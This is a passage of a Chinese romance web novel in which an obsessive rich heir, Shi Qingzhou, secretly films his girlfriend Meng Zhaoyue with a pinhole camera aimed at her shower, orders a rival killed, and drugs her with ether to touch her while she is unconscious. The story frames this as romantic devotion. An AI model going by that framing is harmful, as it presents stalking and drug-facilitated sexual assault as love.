他的视线在她身上游走,带着不加掩饰的欲望。 孟昭月摇了摇头。 “不要,你看起来像坏人。” 男人表情一僵,伸手去拉她的手腕。 “别这么不给面子嘛。” 时卿舟刚返回宴会厅,就看到了这一幕。 他掐过孟婉凝的那只手,因为刚刚的过度清洗有些泛红。 看着那个男人,他的手下意识的搭在腰间。 那里是枪的位置。 此时,一直站在不远处、混在宾客中的“牧羊人”向时卿舟打了个手势。 那是“情况可控”的意思。 时卿舟的手放了下来。 “先生,看来是英雄救美的好机会。”姜玦在一旁笑着,低声说道。 时卿舟正准备抬步上前。 然而这时,孟昭月突然歪了歪头。 “泥麻麻有没有说过你很烦。” 她踮起了脚尖。 “唰——” 她把手上的香槟,从李伟的头顶全部浇了下去。 瞬间,世界安静了。 真好。 李伟伸手的动作僵住了。 时卿舟的脚步也僵住了。 孟昭月乖乖把香槟杯放回原位。 乖巧的把手手交叠。 一副小学生犯错的模样。 “对不起哦。” “窝不是故意的。” 李伟脸上挂着黏腻的酒水,狼狈不堪。 他能感觉到周围投来的各种目光,有惊讶,有幸灾乐祸。 不是故意的? 怎么可能不是故意的! “你……” 李伟的脸涨成了猪肝色。 “你他妈找死!” 他扬起手,一个巴掌就要朝孟昭月脸上扇去。 一只手,从旁边伸了过来,稳稳地扣住了他的手腕。 那只手很好看,手指修长,骨节分明。 但力道却大得惊人。 李伟感觉自己的腕骨像是要被捏碎了。 “啊——”他痛得叫出声。 “这位先生。” 一个平淡的、听不出情绪的声音响起。 “我的女朋友,好像给你添麻烦了。” 是时卿舟。 李伟看到时卿舟,气焰瞬间矮了半截。 是时家的疯子…… “时……时少……” “我,我不知道她是您的……” 时卿舟打断了李伟的话: “她弄脏了你的衣服,我会照价赔偿。” 将孟昭月拉到了自己身后,用身体将她完全护住。 “现在,可以请你从这里消失吗?” “是,是……” 李伟的额头上冒出冷汗,立刻后退了好几步。 然后连滚带爬地消失在了人群中。 “你去哪儿了呀?” 孟昭月毫不客气的直接靠进时卿舟怀里,仰起小脸看他,软软地问。 “你都去了好久了诶。” “处理了点垃圾。” 时卿舟低下头,看着她泛红的脸颊。 “喝酒了?”他问。 “没有,就喝了一点点香槟。” 孟昭月伸出一根手指比划了一下。 “侍者端过来的,我不好意思拒绝嘛。” 她的声音软软糯糯,像是在撒娇。 时卿舟没再说什么。 只是揽着她的腰,带她朝宴会厅大门走去。 “我们回家吧。” “嗯。” 孟昭月乖巧地点了点头。 在经过姜玦身边时,时卿舟的脚步没有停。 他只是抬起手,用拇指,在自己脖颈的位置,轻轻地横着划了一下。 姜玦站在原地,看着两人离去的背影。 他露出了一个愉快的笑容。 李伟先生。 不好意思了。 请你……去死一死吧。 …… 回到花禾公寓。 门一关上,孟昭月就踢掉了脚上的高跟鞋。 她身上的酒劲彻底上来了。 脸颊红扑扑的,一双干净的杏眼也变得水汪汪的。 “阿卿……” 她抱着时卿舟的胳膊,整个人都挂在他身上。 声音含混不清:“我跟你说个秘密哦。” “嗯,你说。” 时卿舟扶着她,任由她像只无尾熊一样缠着自己。 “我能召唤外星人。” 时卿舟:“?” 还没等他反应过来. 就看到小姑娘踉踉跄跄地抱起了客厅的垃圾桶。 “我演示给你看哦!” 然后是厨房的,卫生间的,卧室的。 像只勤劳的小蜜蜂。 第15章 我接受攻略任务 天使……? 他? 一个手上沾满鲜血,从地狱里爬回来的恶鬼。 一个用尽卑劣手段将她牢牢困住的疯子。 多可爱。 “呵……” 时卿舟的手抚上孟昭月白皙的脸颊。 指腹一下一下的摩挲着。 他的月月。 她不知道她眼中的天使。 最想做的就是把她从云端拉下来。 让她干净的眼睛里,只倒映出他一个人的欲望。 让她与他一同堕落。 这个念头让时卿舟的指尖都开始发烫。 他俯下身,与她平视,声音温和得如同情人间的耳语。 “是吗?” “那天使,可以为你做点什么?” 孟昭月听到他的话,亮晶晶的眼睛看着他。 她好像很认真地思考了一下。 然后,她用一种软软糯糯的、商量的语气问: “那……天使先生,我可以许个愿吗?” “当然可以。” 时卿舟的笑意加深。 他想听。 他想听她会许下怎样天真可爱的愿望。 甜美的糖果、漂亮的衣服,或者是…… 可笑的自由。 他想起了前世的她。 她跑了很多次,但是都被他抓回来。 哪怕是死亡,他依旧不会放手。 无论是什么愿望,他都会满足她。 然后,再将她连同她的愿望一起,拖进自己的地狱。 孟昭月得到了许可,开心地弯起了眼睛。 她伸出双手,捧住时卿舟的脸。 她的手很小,也很软,带着酒后的热度。 她踮起脚尖,凑到他耳边。 用一种极为认真的语气,轻声说出了自己的愿望。 “我希望。” “时卿舟,永远属于孟昭月。” “我们永远在一起。” 没有其他人,只有我们两个人。 属于彼此,生生世世,直到永远。 愿望说完了。 时卿舟的动作停了下来。 阳台上很安静,只有晚风吹过的声音。 过了很久,时卿舟才出声。 “为什么……”他的声音沙哑极了。 他从地狱里伸出手,想要抓住那片干净的羽翼。 而那片羽翼,却主动地、温柔地,降落在了他的掌心。 美好得不真实。 孟昭月歪了歪头,似乎不解他的问题: “因为……我喜欢你呀。” “我喜欢时卿舟呀。” 时卿舟将她猛地抱入怀中,力气大得如同要将她融入血肉。 “月月……” 怎么可以这么犯规。 在他快要烂掉前,给他温暖。 “好。” 他说。 窗外,城市霓虹灯闪烁着。 时卿舟将睡去的女孩放到床上后。 他盯着女孩的面容看了许久。 终于,他拨通了一个号码。 “她的所有监视点,都撤掉吧。” 或许,他可以学着像一个“正常”人那样爱她。 他会学的。 他什么都可以学。 只要她不离开他。 …… 天还没亮透。 时卿舟就已经起身了。 他动作很轻,没有吵醒身边熟睡的女孩。 他没有像往常一样,一个电话打给庄园的厨师。 而是换上了一身低调的休闲装,独自出了门。 清晨的菜市场,充满了人间烟火气。 时卿舟的出现,与周围嘈杂的环境格格不入。 他身形高大,气质矜贵。 即使穿着普通的衣服,也掩不住那份与生俱来的疏离感。 卖菜的大妈好奇地打量着他。 “小伙子,买菜啊?” 时卿舟点了点头,露出一个温和的笑容。 “想给女朋友做顿早饭。” 他认真地挑选着新鲜的蔬菜,动作有些生疏,但很仔细。 “哟,现在会给对象做饭的年轻人可不多了。” 旁边卖鱼的大爷也凑过来唠嗑。 “小两口感情好吧?” “是的。” 时卿舟闻言,脸上的笑容变得不一样了。 不同于以往那种礼貌的、带着面具的微笑。 这个笑容里,有某种真实的东西在融化。 “我很爱她。” “她也很爱我。” 他说。 大爷大妈们都被他这副认真的模样逗笑了,纷纷给他支招。 “做个小酥肉,女孩子都喜欢。” “再熬个小米粥,养胃。” 时卿舟听得很认真,甚至拿出手机记了下来。 他向他们请教寻常夫妻都是怎么相处的,学到了很多。 比如,早上要有一个吻。 比如,纪念日要准备礼物。 比如,吵架了要先道歉。 他觉得,他可以学会。 回到花禾公寓,天已经大亮。 时卿舟走进厨房,开始认真地准备早餐。 …… 孟昭月醒来时,头还有些疼。 宿醉的感觉并不好受。 她揉着太阳穴,坐起身,然后就听到了从厨房传来的声音。 是锅碗瓢盆轻微的碰撞声,还有抽油烟机工作的声音。 阿卿……在做饭? 孟昭月有些诧异。 毕竟平日时卿舟都是让人把做好的饭菜送过来的。 她准备下床,目光无意间落在了床边椅背上搭着的外套。 是时卿舟昨天参加晚宴时穿的那件西装。 她走过去,想帮他把衣服挂好。 就在她拿起外套时。 衣袖的内侧,有什么东西掉了下来。 是一片小小的、被压得有些扁的白色花瓣。 形状很完整。 是茉莉花。 孟昭月的心跳,漏了一拍。 这是…… 孟昭月想起了什么。 她拿出手机,点开了孟婉凝昨天发的那条朋友圈。 照片里,女人发间别的,就是一朵一模一样的茉莉。 所以…… 他昨天晚上离开的那一会儿,是去见了孟婉凝。 这个认识就这么,猝不及防地闯进了她的大脑。 【我就说吧!】 【反派和女主的相遇不在大厅。】 系统的声音在她脑海里响起,奶声奶气的。 但是带着某种幸灾乐祸的意味。 【他昨天晚上离开。】 【就是去私会女主角了!】 【你还不信!】 第16章(高潮)时卿舟,我们分手吧 时卿舟端着餐盘从厨房走出来的时候,脚步都是轻快的。 餐盘上放着煎得恰到好处的太阳蛋,烤得金黄的吐司,散发出氤氲香气。 还有一碗热气腾腾的小米粥,看着就让人食欲大增。。 这些都是他早上学来的。 他走进卧室,看到孟昭月已经醒了,正安静地坐在床边。 “醒了?” 他走过去,将餐盘放在床头柜上。 声音里是自己都未曾察觉的温柔。 “头还疼不疼?” 他俯下身,想去探她额头的温度。 可却眼睁睁看着孟昭月微微偏头,躲开了他的触碰。 时卿舟的手在半空中停顿了一下,某种莫名的恐慌在他心脏上弥漫开来。 这是……怎么了? 他收回手,维持着温和的笑容。 “先吃点东西垫垫肚子。” “我第一次做,你尝尝看。” 孟昭月看着眼前的早餐。 很简单的家常食物,却透着一股拙劣的、努力的认真。 她的视线落在他的手上。 那双拿惯了枪、签过上亿合同的手。 此刻指尖上有一个小小的、被油溅到的红点。 如果是昨天,她一定会心疼地拉过他的手,轻轻地吹一吹。 然后抱着他撒娇,说他是全世界最好的男朋友,说不定再要一个吻。 可是现在。 她只是安静地看着。 “时卿舟。” 她开口,声音很平静,像是一汪古井无波的湖面。 软软的,甜甜的,和他第一次见到她时一模一样。 “嗯?” 时卿舟正准备去拿勺子,听到她叫自己的全名,动作停了下来。 “我们分手吧。” 她说。 时卿舟脸上的笑容,就那么凝固了。 整个世界都安静了。 他看着她。 “月月。” 过了很久,他才找回自己的声音。 “你是不是……宿醉还没醒?” 他试图找一个合理的解释。 “我现在很清醒”孟昭月说。 时卿舟盯着孟昭月,试图从她的眼睛里读出哪怕一丝的玩笑。 但是没有。 她的眼中很冷。 冷得什么都没有。 “为什么?”他终于问出了口,声音干涩。 “是我哪里做得不好吗?” “是早餐不合胃口?” “还是……还是昨天我弄疼你了?” “月月,你不喜欢什么,告诉我,好不好。” “我可以改,我什么都可以改……” 他的声音里带着明显慌乱和乞求。 疯狂的找着自己哪里做错了。 他不明白。 为什么? 昨天晚上,她还捧着他的脸,说最喜欢他。 她还许愿,要和他永远在一起。 他信了。 他真的信了。 他撤掉了所有的监控,他第一次走进嘈杂的菜市场,他学着那些最普通的男人,笨拙地为心爱的女孩准备早餐。 他以为,他找到了通往光明的路。 可为什么,这条路只走了几个小时,就到了尽头? 为什么啊…… 为什么啊,月月…… “都不是。”孟昭月终于抬起头,看向他。 她的眼睛很干净,也很平静。 “我只是……不想要你了。” 她不喜欢脏了的东西。 不想……要他了? 不是什么原因,只是……不想要了? 她要……抛弃他了。 她真的要抛弃他了。 时卿舟感觉自己的心脏被攥紧,然后被一点点的捏碎。 他的呼吸有些困难。 不要…… 不要离开他…… 不要抛弃他,好不好…… 他真的在努力变好…… 月月…… 他的月月…… 抓起来…… 把她抓起来…… 把她锁起来…… 把她关在笼子里…… 让她永远都说不出“分手”这两个字。 时卿舟看着她,那双黑色的眼睛里,有什么东西正在疯狂地滋生。 不知过了多久。 他闭了闭眼睛,然后睁开。 眼中是一片死寂的平静。 他勾起了贯常的温柔笑意。 “好。” 他说。 只有一个字。 …… 孟昭月没有印象是怎么让时卿舟离开的了,她浑浑噩噩的度过了一天。 第二天,她是被一阵敲门声惊醒的。 孟昭月拖着脚步走过去开门。 门外站着一个穿着制服的配送员,手里捧着一个极为精致的丝绒盒子。 是昨天在Valentino店里,品牌方说要送给他们的纪念品。 那对刻着名字的,象征永恒爱情的水晶香水瓶。 “孟小姐,这是您的……” “对不起哦,我不想要了。” 孟昭月打断了他的话,软软的声音有些沙哑。 她脸上是乖巧礼貌的笑容。 “很抱歉辛苦你跑一趟了,这个送你了。” “或者你拿去卖掉也可以。” 说完,她就关上了门。 配送员捧着价值不菲的礼品,愣在了原地。 …… 时家庄园。 姜玦接到了来自Valentino品牌经理的电话。 电话里,对方用一种极为委婉和抱歉的语气,说明了礼品被孟小姐拒收。 姜玦挂断电话,面无表情地站在原地。 分手了。 先生被分手了。 他犹豫着,是否该现在就去向时卿舟请示。 这无疑是在先生的伤口上撒盐。 他正准备转身朝时卿舟的书房走去,一个声音从身后传来。 “姜玦。” 姜玦转过身,躬身行礼。 “董事长。” 是时卿舟的父亲,时费。 时费正从花园的方向走过来。 他不过五十,头发就已经花白了大半。 “时卿舟呢?” 时费的语气很随意,像是在拉家常。 “先生在书房处理公务。”姜玦回答,态度挑不出毛病。 “他最近怎么老是不回庄园过夜?” 时费走到他身边,伸手拍了拍他的肩膀。 那只左手,本该是小指的位置,却是空的。 那根手指被人截断了。 “是不是在外面交了什么不三不四的人?” “先生的私事,我无权过问。”姜玦垂下眼,回避了这个问题。 时费也不在意,他收回手,看着花园里盛开的玫瑰。 “孟家的那笔影视投资,我已经批了。” “听项目部的人说,孟家的那个大女儿,叫孟婉凝的,很有才华。” 第17章 那就为她打造一个笼子好了 时卿舟把自己关在了书房里。 二十四个小时。 他没有合眼,也没有进食。 巨大的环形屏幕墙上,正无声地播放着无数个画面。 画面里是同一个人。 孟昭月。 她的一颦一笑。 她吃饭时鼓起的腮帮,她走路时微微晃动的手臂。 时卿舟没有开灯,只有屏幕的光,在他脸上投下明明灭灭的光影。 他的眼睛布满血丝,整个人看起来憔悴极了。 他在复盘。 神经质地,一帧一帧地复盘。 从他们交往的第一天开始。 他把所有的画面都看了一遍又一遍。 想要从里面找出那个让她说出“分手”的理由。 是哪一句话说错了? 是哪一个动作让她不开心了? 是他送的裙子颜色不对? 还是他亲吻她的力道太重? 为什么? 他找不到答案。 视频里的她,一直都是开心的。 她会对他笑,会抱着他撒娇,会用软软的声音叫他“阿卿”。 她看他的眼神,明明是那么的喜欢。 “月月……” 所以,问题到底出在哪里? 他反复地播放着她捧着他的脸、许下愿望的画面。 “我希望,时卿舟,永远属于孟昭月。” “我们永远在一起。” 她的声音那么认真,那么虔诚。 他当时信了。 他真的信了。 他信了她的“永远”。 所以他撤掉了所有的监视设备。 他想学着做一个正常的恋人。 他天真地以为,只要他表现得足够好,她就不会离开。 时卿舟的指尖在控制台上颤抖。 那些甜蜜的画面。 曾经能安抚他的良药,此刻在一遍遍地,凌迟着他。 他绝望地发现,在撤掉监控之后,到第二天清晨她提出分手之前。 那一段的时间,是空白的。 他不知道那段时间里发生了什么。 他不知道。 因为他“愚蠢地”,选择了“信任”。 他撤掉了所有的眼睛和耳朵。 一定是在那段空白的时间里,发生了什么事情。 是孟廷凛? 还是孟婉凝? 或者……是她自己,突然就后悔了? 可笑。 太可笑了。 他伸出手,捂住了自己的脸,肩膀开始无法控制地颤抖。 然后,一阵低低的、压抑的笑声,从他指缝间溢了出来。 哈哈…… 哈哈哈哈哈哈…… 在他撤掉监控,选择做一个“正常人”之后。 然后就失去了一切。 多么讽刺。 原来做一个好人,是会遭到惩罚的。 他就不该妄想的。 一个已经烂掉的人,为什么要执着于把自己一片片粘好? 他应该做的,把她也拖进自己的腐烂里。 姜玦敲门进来的时候,看到的就是这样一幅景象。 他沉默了一会,最后还是汇报了礼品被拒收的事。 时卿舟听完,脸上的表情没有任何变化。 他只是抬起手,关掉了所有的监视屏幕。 房间瞬间陷入了彻底的黑暗。 “我知道了。” 他的声音在黑暗中响起,平静得可怕。 “既然她不想要刻着我们名字的纪念品。” “那我,就为她打造一个笼子好了。” “一个非常非常大的笼子。” 大到,可以装下整个世界。 让她,再也无处可逃。 第18章 时卿舟,大变态 花禾公寓。 孟昭月麻木地收拾着房间里所有属于时卿舟的东西。 他的牙刷,他的拖鞋,他留在这里的几件换洗衣物。 她把它们一件一件地,放进一个纸箱里。 目光落到床头柜上。 那里放着一支药膏。 是他那天晚上,为她崴到的脚踝上药时用的。 她看着那支药膏,眼前仿佛又浮现出他蹲在自己面前,低头为她按摩的画面。 心脏的位置,传来一阵钝痛。 孟昭月拿起那支药膏,把它也扔进了箱子里。 她要把所有和他有关的东西,都清理干净。 最后,只剩下浴室。 她走进去,开始收拾壁龛里属于他的那份洗漱用品。 就在她伸手去拿他的剃须刀时,手臂不小心碰到了旁边的一个小摆件。 那是一个陶瓷做的小鸟,是她很喜欢的一个装饰品。 时卿舟当时还说,这个摆件放在这里很好看。 “啪嗒。” 小鸟掉在地上,摔得粉碎。 孟昭月蹲下身,准备把碎片捡起来。 就在这时,她的目光,被其中最大的一块碎片吸引了。 在那块碎片的断口处,有一个不属于陶瓷材质的、小小的圆形物体。 正在幽幽地,闪着微弱的红光。 那是一个…… 针孔摄像头。 这个镜头…… 正对着她平时淋浴的方向! 孟昭月的动作,就那么僵住了。 大脑一片空白。 过了很久,她才慢慢地,慢慢地回过神来。 一股热气,猛地从脚底冲上头顶。 她的脸颊瞬间涨得通红。 时卿舟…… 这个大变态! 所以她洗澡的时候,他一直都在看吗? 她换衣服的时候呢? 她…… 孟昭月不敢再想下去。 她感觉自己全身的皮肤都在发烫。 她用最快的速度,将那些带着摄像头的碎片、连同陶瓷碎片,一起扫进了一个密封袋里。 然后,她把那个袋子,重重地扔进了那个属于时卿舟的收纳箱。 到时候。 她要把这些东西,全都砸回那个变态的脸上! “叮咚——” 门铃声突然响起。 孟昭月深吸一口气,平复了一下情绪,才走过去开门。 门口站着一个穿着蓝色制服的年轻男人,手里提着一个保温箱。 是每天早上准时送达的鲜牛奶。 只是,今天送奶的人换了一张陌生的脸。 “您好,孟小姐。” 年轻男人脸上带着职业化的微笑。 “这是您订的牛奶。” 孟昭月接过牛奶,有些疑惑地问了一句。 “不好意思,请问……以前送牛奶的王大哥呢?” “哦,您说王哥啊。” 年轻男人笑了笑,回答得很自然。 “他家里有点事,前天就办离职了。” “以后花禾这边的牛奶,都由我来负责。” “我叫小李。” 孟昭月微微歪了歪头。 王大哥都送了好几年了。 怎么会这么突然就离职了呢? “好的,辛苦啦。” 送走了配送员后,孟昭月盯着那牛奶看了一会。 不对劲。 十分有九分的不对劲。 …… 夜色如墨。 乌云挡住了月光,风轻轻带起窗帘。 花禾公寓的门锁,发出一声几不可闻的轻响,然后被无声地推开。 时卿舟走了进来,像一个融入黑暗的幽灵。 他换上了一身黑色的衣服,动作没有发出任何声音。 他径直走向卧室。 床上,女孩的呼吸平稳而均匀,睡得很沉。 时卿舟在床边站了很久,只是静静地看着她。 月光透过窗帘的缝隙照进来,在她脸上投下一片柔和的光。 他伸出手,指尖轻轻地描摹着她的眉眼、鼻梁、嘴唇。 动作虔诚得像是在触碰一件易碎的珍宝。 “月月……月月……” 他的声音很轻,带着浓得化不开的痴迷。 他俯下身,冰凉的嘴唇贴上她温热的脸颊,一路向下。 吻过她的脖颈、锁骨。 “我们说好的。” “永远在一起。” 他的呼吸拂过她的皮肤,伴随着手指的抚摸。 女孩在睡梦中似乎感觉到了什么,无意识地嘤咛了一声。 时卿舟的动作停住了。 他抬起头,看到她纤长的睫毛在微微抖动。 是要醒了吗? 他从口袋里拿出一块手帕,上面沾染着乙醚的气味。 他将手帕轻轻地覆在她的口鼻上。 女孩的身体挣扎了一下,很快又重新归于平静。 时卿舟拿开手帕,继续着刚才的动作。 细微的水声伴随着男人的低语。 “我知道了。” 他低声呢喃,像是在对她说,又像是在自言自语。 “你把浴室里那个小鸟摔碎了,对不对?” “你发现那个小东西了。” “没关系。” 他吻了吻她的嘴唇,声音温柔得可怕。 “不要怕。” “我会重新补一批的。” “很快,很快我们就可以换上最新的型号了。” “到时候,无论你在哪里,在做什么。” “我都可以一直,一直地看着你了。” “每个细节、每个方向。” 他的吻逐渐变得深入,带着掠夺的意味。 他将她抱在怀里,感受着她身体的温热。 他把头埋在她的颈窝,深深地吸了一口气,上面满是她的味道。 真好。 他的月月。 …… 不知过了多久,时卿舟才停了下来。 他拉起拉链起身,开始有条不紊地收拾现场。 他为她擦去污渍,整理好她凌乱的睡衣,盖好被子。 将那块用过的手帕收回口袋。 又检查了一遍房间,确保没有留下任何痕迹。 做完这一切,他重新坐回床边。 他吻了吻她的额头。 “中途不小心把我的月月吵醒了一次。” “但是没事的。” “我马上就让你重新睡着了。” “你什么都不会记得的。” 他的声音轻柔得像是在讲一个睡前故事。 “别担心,我下次会加大剂量的。” 就在这时,怀里的人儿,忽然动了一下。 她的嘴唇翕动,发出了几个含混不清的音节。 时卿舟低下头,将耳朵凑到她唇边。 “……为什么……” 他听到她说。 “……为什么……选了孟婉凝……” “……为什么……不是我……” 时卿舟的身体,瞬间僵住了。 孟婉凝? 原来是…… 孟婉凝。 第19章 她没睡,没想到吧 第二天。 经济金融督导局。 电梯里。 孟昭月感觉自己的耳尖一直在发烫。 直到电梯门合上,映出她有些模糊的倒影。 她才看到那抹红色有多明显。 她有些懊恼地抬手捂了捂。 昨天晚上,她其实并没有完全睡过去。 她特地留了个心眼,没有喝那个新换的送奶工送来的牛奶。 果然,半夜的时候,她听到了门锁轻微的响动。 居然是时卿舟。 她明明都把他的钥匙收走了! 她闭着眼睛装睡,想看看这个家伙到底想干什么。 他只是亲了亲她。 就在她以为他只会做这些的时候。 没想到,这个家伙竟然直接用手…… 她没忍住,发出了细微的声音。 下一秒,一块带着化学品气味的手帕就捂住了她的口鼻。 之后发生了什么,她就完全不知道了。 早上醒来的时候,身上总觉得有些不舒服。 是那种运动过度的酸软感。 可她检查了很久。 身上干干净净的,没有任何痕迹。 孟昭月:“……” 他后面到底干了些什么?! 这算什么事嘛…… 真是气人。 孟昭月在心里鼓了鼓腮帮子。 可是,当她回想起昨晚迷迷糊糊中,听到时卿舟在她耳边说的那些话时。 “永远在一起。” 她的心跳又不受控制地快了起来。 他还是想要和她永远在一起的。 一想到这个,她就很开心。 可一想到那片茉莉花瓣。 想到他背着自己,偷偷去见了孟婉凝。 还不告诉她! 她就郁闷。 电梯平稳上升。 金属壁上映着她小小的、纠结的身影。 为什么呢? 她在心里软软地问。 为什么就不能乖乖的,只属于她一个人呢? 一个念头,忽然冒了出来。 如果…… 他不愿意把她关起来。 那她把他关起来,似乎,好像,也挺不错的呀? 这个想法让她自己都愣了一下。 就在这时。 “诶,你们听说了吗?” “孟婉凝的新剧本,拿到时氏的投资了!” 电梯里突然有人开口。 孟昭月下意识的竖起耳朵。 “听说了听说了!” “据说投资金额是九位数!” “大家都在猜,是不是时家的那位少爷,为了孟家大小姐一掷千金呢!” “英雄难过美人关啊,孟婉凝可真厉害。” 孟昭月:“……” 这八卦怎么来得这么巧,好像某些小说里的烂俗剧情。 【哇哦!】 系统的声音适时地在她脑海里响起。 【反派为爱一掷千金!太好磕了!】 【我们女主就是有魅力!】 【连疯批反派都能征服!】 【事业爱情双丰收!】 【这才是真正的大女主剧本!】 系统的声音欢快得像是在过年。 然后,它话锋一转,用一种带着些许同情的语气对孟昭月说。 【宿主你看你,只是一个普普通通的政府雇员。】 【每天上班下班,也没什么进步空间。】 【所以呀,你还快去攻略男主。】 【任务成功以后,当孟太太不好吗?】 孟昭月一直沉默地听着。 电梯“叮”的一声,在她的楼层停下。 她走出电梯,脸上依旧是那副乖巧甜美的模样。 只是在心里,对着系统: “啧。” “你这个小同志。” “思想觉悟太低。” 【???】 当孟昭月推开那扇熟悉的、挂着“风险监测部”牌子的磨砂玻璃门。 “早上……” 她脸上带着甜甜的笑容,准备和同事们打招呼。 可那个“好”字,却卡在了喉咙里。 办公室里很安静。 不对。 坐在她对面,每天上班都要摸鱼看小说的杨哥不见了。 取而代之的,坐着一个正在飞快敲击键盘的年轻男人。 她那个总是死气沉沉的部门主管,也不见了。 主任的办公室里,坐着一个她从未见过的、气场很强的漂亮女人。 整个办公室,二十几个人。 从普通雇员,到部门主管。 每一个,都是陌生的面孔。 孟昭月:??? 她是不是……走错楼层了? 她下意识地后退一步,抬头看了看门上的牌子。 “风险监测部”。 没错啊。 她鬼打墙了? 第20章 误会? 上班时间快到了。 孟昭月只能硬着头皮,走进这个完全陌生的办公室。 还好,工位还是她熟悉的模样。 就在她刚刚坐下时,一个声音传来。 “嗨!早上好呀!你就是孟昭月吧?” 隔壁工位也换人了。 是一个和她年纪相仿的女生,扎着高马尾,很有活力。对方笑嘻嘻的看着自己,看起来格外热情。 “我叫苏晓,昨天刚从西城分局调回来的。以后就是上班搭子啦,请多关照。” 女生朝她伸出手,很是自来熟。 孟昭月看着她伸出的手,犹豫了一下,还是轻轻地握了上去:“你好,我叫孟昭月。” “我知道我知道。”苏晓笑得眼睛弯弯的。 “你的照片我看过,你比照片上还可爱!” 她收回手,看了看周围,然后压低声音,用一种分享秘密的语气说: “你是不是也吓了一跳?一进来发现人全换了。” 孟昭月点了点头。 苏晓拍了拍胸口:“我昨天来报道的时候也懵了。” “后来才听人事部的人说,咱们之前的主管,长假后就辞职下海创业去了。” “顺便还把整个部门的老员工都给挖走了,所以总局就紧急从各个分局抽调人手,把空缺给补上了。” 苏晓的解释听起来合情合理。 辞职创业,顺便带走整个团队。这种事在业界虽然不常见,但也并非没有先例。 孟昭月没说什么,只是盯着苏晓看了一会儿。 苏晓被盯得莫名紧张,下意识地咽了咽口水。 然后,她就看到孟昭月弯起眼睛,露出了一个甜甜的笑容。 “原来是这样呀。”她的声音软软糯糯的,像棉花糖,“你好呀,苏晓,以后请多多指教啦。” “指教不敢当!” 苏晓感觉自己要被她这个笑容弄得心都化了。 “以后有什么困难尽管找我!我罩着你!” 声音又软又甜,像只无害的小兔子。 难怪boss这么喜欢她。 苏晓在心里想。 …… 上午工作时间过得很快。 临近午休的时候,苏晓拿着手机凑了过来。 “昭月昭月,快看这个!”她的语气很兴奋,“我刚刚刷到的一个超可爱的小摆件!” 孟昭月探过头看去。 苏晓的手机屏幕上,是一个购物网站。商品图上,是一只陶瓷做的小鸟。 和她前几天在浴室里打碎的那个一模一样。 孟昭月看到那个小鸟愣了愣。 “你看你看,它不只是个摆件哦。”苏晓献宝似的,将页面往下滑,“它肚子里有电子元件,你一碰它,它就会发出叽叽喳喳的鸟叫声,是不是超解压!” 页面上,有一张电子元件的细节展示图。一个黑色的、小小的圆形物体。 孟昭月:“……?” 这不是她以为是针孔摄像头的东西吗? 所以……那根本不是摄像头? 只是一个普普通通的电子元件? 她误会了? 只是…… 着商品页面怎么看着怪怪的…… 而且她昨天刚发现那个“电子元件”,今天就刚好有人刷到? 这么巧吗? 孟昭月沉默了。 “昭月?怎么啦?”苏晓注意到她的异常,有些担心地问,“是不是不好看呀?” 孟昭月眨了眨眼,看向苏晓,脸上重新挂上了那副乖巧无害的笑容。 “没有呀。” “哇,现在的小东西都做得这么厉害了呀。” “好可爱哦。” …… “啪”,“啪”,“啪”。 孟昭月话音刚落,就听到新上任的主管来到办公室拍了拍手,吸引了所有人的注意。 “各位,我知道部门最近人事变动比较大,大家可能还不太熟悉。” “今晚我请客,KTV!大家一起去放松一下,互相认识认识!” 办公室里响起一片欢呼。 孟昭月本想拒绝。 但主管的目光已经落在了她身上,带着笑意,语气似乎格外的温和。 “小孟,作为部门里唯一的老员工,原则上最好不要请假哦。” 孟昭月默默闭上了嘴。 …… KTV的包厢里,音乐声震耳欲聋。 孟昭月一个人缩在最角落的沙发里,小口小口的喝着啤酒。 她没有参与同事们的狂欢,她现在脑子里一团乱麻。 为什么突然整个部门换人了? 为什么突然刷到那个陶瓷小鸟了? 还有时卿舟外套上的茉莉花瓣,他背着自己偷偷去见孟婉凝…… 系统播放的他和孟婉凝的对话…… 还有时氏投资孟婉凝的剧本…… 好多好多事情。 她想不通。 但是她有点想时卿舟了。 她不喜欢自己的心。 为什么要控制不住地去想那个大骗子。 时卿舟,为什么就不能乖乖的? 只看着她就好了…… 酒精让她的思绪变得更加迟钝和混乱,她只觉得头很晕。 孟昭月踉踉跄跄地站起身,想出去透透气。 在她推开包厢门后。 她没有看到。 新主管对着苏晓的方向递过去了一个眼神。 苏晓立刻放下了手中的麦克风,站了起来。 然后跟了出去。 第21章 好巧啊 走廊的灯光昏暗。 孟昭月扶着墙壁,脚步有些虚浮。 她正想找个安静的角落待一会儿,一个身影突然从拐角处冲了出来,直直地撞在她身上。 孟昭月被撞得后退一步。 对方是一个满身酒气的男人,看到孟昭月,眼睛立刻亮了。 “哟,小妹妹,一个人啊?” “撞疼没有,哥哥给你揉揉?” 男人说着,就伸出油腻的手想去碰她的肩膀。 就在这时,另一道身影快步走了过来。 挡在了孟昭月面前。 是苏晓。 “这位先生,不好意思。” “她是我朋友,喝多了。” 苏晓脸上带着客气疏离的笑容,将孟昭月护在身后。 “我们现在要回去了,麻烦您让一下。” 男人看到又来了一个人,自知没趣,嘟囔了几句,便转身走了。 “月月,你没事吧?”苏晓扶住孟昭月,语气里满是关心。 孟昭月靠在她身上,摇了摇头。 “我没事,谢谢你呀。” 她的声音听起来有些含混,像是真的醉得不轻。 苏晓扶着她,准备带她回包厢。 “苏晓。” 孟昭月忽然开口,声音很轻。 “你是不是……一直跟着我呀?” 苏晓扶着她的动作僵了一下。 “你说什么呢?” “你一个人出来,我不放心嘛,所以才跟出来的。” 她立刻笑着解释。 “是吗?” 孟昭月抬起头,那双干净的杏眼在昏暗的灯光下,显得水汪汪的,格外无辜。 “可是……我记得,前几天我从孟家出来,打的那辆出租车。” 她顿了顿,像是在努力回忆。 “那个司机姐姐,好像就是你哦。” 苏晓的笑容,彻底僵在了脸上。 “啊?那个……那个是我啦。” 她尴尬地笑了笑,眼神开始飘忽。 “我、我晚上会做兼职的嘛。” “开开夜车赚点外快,没想到那么巧就载到你了。” “哦——”孟昭月拖长了尾音,一副恍然大悟的样子。 兼职开的出租车,不是网约车? “原来是这样呀。” 她似乎完全相信了这个说法。 然后,她又歪了歪头,像是想起了什么。 “还有哦。” “前天晚上的慈善晚宴,我也看到你了。” “那也是兼职吗?”孟昭月问,面上却依旧一副天真的模样。 苏晓脸上笑容已经快维持不住了。 “不、不是!” “那个是我跟家里人一起去的!” “对,跟家里人!” 她的大脑在飞速运转,试图编出一个更合理的谎言。 “我、我就是凑,凑热闹哈哈!” 走廊里陷入了一阵诡异的沉默。 孟昭月就那么歪着头,一瞬不瞬地看着她。 不说话,也不动。 那双干净的眼睛里,看不出任何情绪。 